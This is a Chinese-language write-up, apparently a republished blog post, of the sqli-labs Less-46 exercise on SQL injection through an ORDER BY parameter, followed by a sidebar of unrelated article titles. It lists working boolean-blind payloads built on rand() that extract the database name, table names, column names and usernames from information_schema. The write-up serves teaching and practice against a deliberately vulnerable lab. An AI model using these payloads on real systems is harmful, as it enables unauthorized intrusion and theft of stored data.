当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 22:34:00 【华为云】
$id=$_GET['sort'];$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,==而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入==。
测试是否存在注入点
?sort=1 desc
?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
==关于下面的这部分与解题无关,直接看布尔盲注的部分即可==?sort=right(version(),1)
?sort=left(version(),1)
返回结果都是
我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);
select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- ICML2022 | 深入研究置换敏感的图神经网络
- [QNX Hypervisor 2.2用户手册]9.14 set
- Qualcomm cDSP simple programming example (to query Qualcomm cDSP usage, signature), RK3588 npu usage query
- spark reports an error OutOfMemory "recommended collection"
- Pytest first experience
- [QNX Hypervisor 2.2 User Manual]9.14 set
- Audio alignment using cross-correlation
- Count characters in UTF-8 string function
- I don't know what to do with sync issues
- Implementing a Simple Framework for Managing Object Information Using Reflection
猜你喜欢
Efficient Concurrency: A Detailed Explanation of Synchornized's Lock Optimization
Financial profitability and solvency indicators
Bika LIMS open source LIMS set - use of SENAITE (detection process)
Go1.18 upgrade function - Fuzz test from scratch in Go language
Count characters in UTF-8 string function
C#中引用类型的变量做为参数在方法调用时加不加 ref 关键字的不同之处
VOT2021比赛简介
flowable workflow all business concepts
GateWay implements load balancing
Collation of knowledge points in Ningbo University NBU IT project management final exam
随机推荐
Talking about the algorithm security of network security
server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none failed
PHP三元(三目)运算符
uniapp小程序检查、提示更新
「APIO2010」巡逻 题解
Write a database document management tool based on WPF repeating the wheel (1)
Pytest初体验
renderjs usage in uni-app
[QNX Hypervisor 2.2用户手册]9.16 system
[Code Hoof Set Novice Village 600 Questions] Leading to the combination of formulas and programs
"SDOI2016" Journey Problem Solution
The difference between adding or not adding the ref keyword when a variable of reference type is used as a parameter in a method call in C#
什么是客户画像管理?
Flink_CDC construction and simple use
LeetCode 第 304 场周赛
The difference between adding or not adding the ref keyword when a variable of reference type is used as a parameter in a method call in C#
@JsonFormat(pattern=“yyyy-MM-dd“)时间差问题
#yyds dry goods inventory# Interview must brush TOP101: the entry node of the ring in the linked list
linux view redis version command (linux view mysql version number)
How to debug TestCafe